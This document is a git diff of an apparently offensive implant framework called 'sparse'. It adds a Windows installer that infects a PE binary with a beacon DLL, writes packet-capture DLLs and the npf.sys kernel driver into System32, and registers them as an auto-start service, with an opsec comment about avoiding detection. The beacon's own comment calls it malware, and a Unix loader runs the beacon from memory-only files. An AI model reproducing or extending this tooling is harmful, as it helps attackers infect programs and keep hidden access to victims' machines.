diff --git a/Cargo.lock b/Cargo.lock index 0a24cc9..b933735 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3282,6 +3282,7 @@ name = "sparse-windows-beacon" version = "2.0.0" dependencies = [ "windows", + "winreg", ] [[package]] @@ -3296,11 +3297,15 @@ dependencies = [ name = "sparse-windows-installer" version = "2.0.0" dependencies = [ + "errno", "hex", "rand 0.9.0", "sparse-actions", "sparse-windows-infector", "structopt", + "windows", + "windows-strings", + "winreg", ] [[package]] @@ -4722,6 +4727,16 @@ dependencies = [ "memchr", ] +[[package]] +name = "winreg" +version = "0.55.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb5a765337c50e9ec252c2069be9bf91c7df47afb103b642ba3a53bf8101be97" +dependencies = [ + "cfg-if", + "windows-sys 0.59.0", +] + [[package]] name = "wit-bindgen-rt" version = "0.33.0" diff --git a/flake.nix b/flake.nix index f54dc96..d85d359 100644 --- a/flake.nix +++ b/flake.nix @@ -118,8 +118,8 @@ }); buildEnvironment = { - SPARSE_BUILD_WINPCAP_LIBS = "${winpcap-libs}/Lib"; - SPARSE_BUILD_WINPCAP_DRIVERS = "${winpcap-drivers}/npf.sys"; + SPARSE_BUILD_WINPCAP_LINK_INFO = "${winpcap-libs}/Lib"; + SPARSE_BUILD_WINPCAP_DRIVERS = "${winpcap-drivers}"; SPARSE_BUILD_LIBPCAP_LINUX_GNU = libpcap-linux-gnu; SPARSE_BUILD_LIBPCAP_LINUX_MUSL = libpcap-linux-musl; SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd; diff --git a/pcap-sys/build.rs b/pcap-sys/build.rs index 83168af..a93b10c 100644 --- a/pcap-sys/build.rs +++ b/pcap-sys/build.rs @@ -17,7 +17,7 @@ fn main() { include!("../build_common.rs"); if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" { - let libdir = std::env::var("SPARSE_BUILD_WINPCAP_LIBS").unwrap(); + let libdir = std::env::var("SPARSE_BUILD_WINPCAP_LINK_INFO").unwrap(); println!("cargo:rustc-link-search=native={libdir}"); println!("cargo:rustc-link-search=native={libdir}/x64"); println!("cargo:rustc-link-lib=wpcap"); diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index 19c805e..51a123f 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -8,3 +8,4 @@ crate-type = ["cdylib"] [dependencies] windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } +winreg = "0.55" diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs index 3251c06..9fcc142 100644 --- a/sparse-windows-beacon/src/lib.rs +++ b/sparse-windows-beacon/src/lib.rs @@ -1,6 +1,3 @@ -#[unsafe(no_mangle)] -pub extern "C" fn compute_hash() {} - use windows::{ core::*, Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*}, @@ -9,13 +6,29 @@ use windows::{ #[unsafe(no_mangle)] pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { if dw_reason == DLL_PROCESS_ATTACH { - std::thread::spawn(|| unsafe { - MessageBoxW(None, w!("Hi"), w!("There"), MB_OK); + std::thread::spawn(|| { + std::thread::sleep(std::time::Duration::from_millis(500)); + + if let Err(_e) = hash_internals() { + // what are we going to do?? + // go to the user and say "malware crashed"? + } }); } 1 } +fn hash_internals() -> std::result::Result<(), std::io::Error> { + unsafe { + MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK); + } + + Ok(()) +} + +#[unsafe(no_mangle)] +pub extern "C" fn compute_hash() {} + #[unsafe(no_mangle)] pub extern "C" fn md4sum() {} #[unsafe(no_mangle)] diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs index 88933b2..aba01c8 100644 --- a/sparse-windows-infector/src/lib.rs +++ b/sparse-windows-infector/src/lib.rs @@ -370,14 +370,3 @@ where Ok(()) } - -fn rva_to_offset(section_headers: &[SectionHeader], rva: u32) -> u32 { - section_headers - .iter() - .find_map(|sh| { - Some(rva - sh.virtual_address + sh.raw_data_ptr).filter(|_| { - (sh.virtual_address..(sh.virtual_address + sh.virtual_size)).contains(&rva) - }) - }) - .unwrap_or(rva) -} diff --git a/sparse-windows-installer/Cargo.toml b/sparse-windows-installer/Cargo.toml index 4e41986..a409f85 100644 --- a/sparse-windows-installer/Cargo.toml +++ b/sparse-windows-installer/Cargo.toml @@ -4,8 +4,12 @@ edition = "2024" version.workspace = true [dependencies] +errno = "0.3.10" hex = "0.4.3" rand = "0.9.0" sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" } structopt = "0.3.26" +windows = { version = "0.59.0", features = ["Win32_System_Services"] } +windows-strings = "0.3.0" +winreg = "0.55.0" diff --git a/sparse-windows-installer/src/main.rs b/sparse-windows-installer/src/main.rs index 0d8585d..b7fa9c6 100644 --- a/sparse-windows-installer/src/main.rs +++ b/sparse-windows-installer/src/main.rs @@ -10,6 +10,19 @@ use structopt::StructOpt; use sparse_actions::payload_types::{Parameters, XOR_KEY}; use sparse_windows_infector::infect_pe_binary; +pub const WPCAP_DLL: &'static [u8] = include_bytes!(concat!( + std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"), + "/wpcap.dll" +)); +pub const PACKET_DLL: &'static [u8] = include_bytes!(concat!( + std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"), + "/Packet.dll" +)); +pub const NPF_SYS: &'static [u8] = include_bytes!(concat!( + std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"), + "/npf.sys" +)); + #[derive(StructOpt, Debug)] #[structopt(name = "sparse-installer")] struct Options { @@ -29,6 +42,14 @@ struct Options { /// How long to randomly wait (maximum) after being loaded before causing tomfoolery #[structopt(long, default_value = "0")] delay_seconds_maximum: u8, + + /// Automatically install WinPcap. Does not automatically load the driver + #[structopt(long)] + install_winpcap: bool, + + /// Automatically load WinPcap after installing it (opsec: LoadDriver is suspicious) + #[structopt(long)] + load_winpcap: bool, } fn main() -> Result<(), Error> { @@ -72,5 +93,96 @@ fn main() -> Result<(), Error> { infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?; + if opts.install_winpcap { + #[cfg(target_os = "windows")] + install_winpcap(opts.load_winpcap)?; + } + + Ok(()) +} + +#[cfg(target_os = "windows")] +fn install_winpcap(load_winpcap: bool) -> Result<(), Error> { + use winreg::{enums::*, RegKey, RegValue}; + + std::fs::write(r"C:\Windows\System32\wpcap.dll", WPCAP_DLL)?; + std::fs::write(r"C:\Windows\System32\Packet.dll", PACKET_DLL)?; + std::fs::write(r"C:\Windows\System32\drivers\npf.sys", NPF_SYS)?; + + let hklm = RegKey::predef(HKEY_LOCAL_MACHINE); + let services = hklm.open_subkey(r"SYSTEM\CurrentControlSet\Services")?; + + let (srv_npf, _) = services.create_subkey("NPF")?; + + srv_npf.set_value("DisplayName", &"NetGroup Packet Filter Driver")?; + srv_npf.set_value("ErrorControl", &0x1u32)?; + srv_npf.set_raw_value( + "ImagePath", + &RegValue { + vtype: REG_EXPAND_SZ, + bytes: vec![ + 0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, + 0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x64, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5c, 0x00, + 0x6e, 0x00, 0x70, 0x00, 0x66, 0x00, 0x2e, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x00, 0x00, + ], + }, + )?; + srv_npf.set_value("Start", &0x2u32)?; + srv_npf.set_value("TimestampMode", &0x0u32)?; + srv_npf.set_value("Type", &0x1u32)?; + srv_npf.set_value("WOW64", &0x1u32)?; + + if load_winpcap { + unsafe { + use windows::Win32::System::Services::{ + CreateServiceW, OpenSCManagerW, OpenServiceW, StartServiceW, SC_MANAGER_ALL_ACCESS, + SERVICE_ALL_ACCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, + SERVICE_KERNEL_DRIVER, SERVICE_START, + }; + use windows_strings::*; + + let h_scmanager = + OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), SC_MANAGER_ALL_ACCESS)?; + + if h_scmanager.0.is_null() { + eprintln!( + "Could not open connection to service manager: {}", + errno::errno() + ); + panic!(); + } + + let npfsrvc = OpenServiceW(h_scmanager, w!("NPF"), SERVICE_START); + + if let Ok(srvc) = npfsrvc { + println!("Service already installed, starting"); + println!("(If it fails because it's already running, that's fine, everything has worked)"); + StartServiceW(srvc, None)?; + return Ok(()); + } + + let npfsrvc = CreateServiceW( + h_scmanager, + w!("NPF"), + w!("NetGroup Packet Filter Driver"), + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + w!(r"C:\Windows\System32\drivers\npf.sys"), + PCWSTR::null(), + None, + PCWSTR::null(), + PCWSTR::null(), + PCWSTR::null(), + )?; + + StartServiceW(npfsrvc, None)?; + } + } + Ok(()) } diff --git a/system-libs.nix b/system-libs.nix index b71133e..1e0ffcf 100644 --- a/system-libs.nix +++ b/system-libs.nix @@ -39,7 +39,11 @@ in { unpackPhase = '' mkdir -p $out printf 'Y\nN\n' | 7z e "${winpcap-installer}" '$SYSDIR/drivers/npf.sys' + printf 'Y\n' | 7z e "${winpcap-installer}" '$SYSDIR/wpcap.dll' + printf 'Y\nY\nN\nN\n' | 7z e "${winpcap-installer}" '$SYSDIR/Packet.dll' mv npf.sys $out/npf.sys + mv wpcap.dll $out/wpcap.dll + mv Packet.dll $out/Packet.dll ''; }; diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index e008034..162d37d 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -12,15 +12,8 @@ const Parameters = abi.Parameters; const config = @import("config"); fn open_temp() !std.fs.File { - switch (builtin.os.tag) { - .linux => { - const fd = try posix.memfd_create("", 0); - return std.fs.File{ .handle = @intCast(fd) }; - }, - else => { - return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 }); - }, - } + const fd = try posix.memfd_create("", 0); + return std.fs.File{ .handle = @intCast(fd) }; } fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {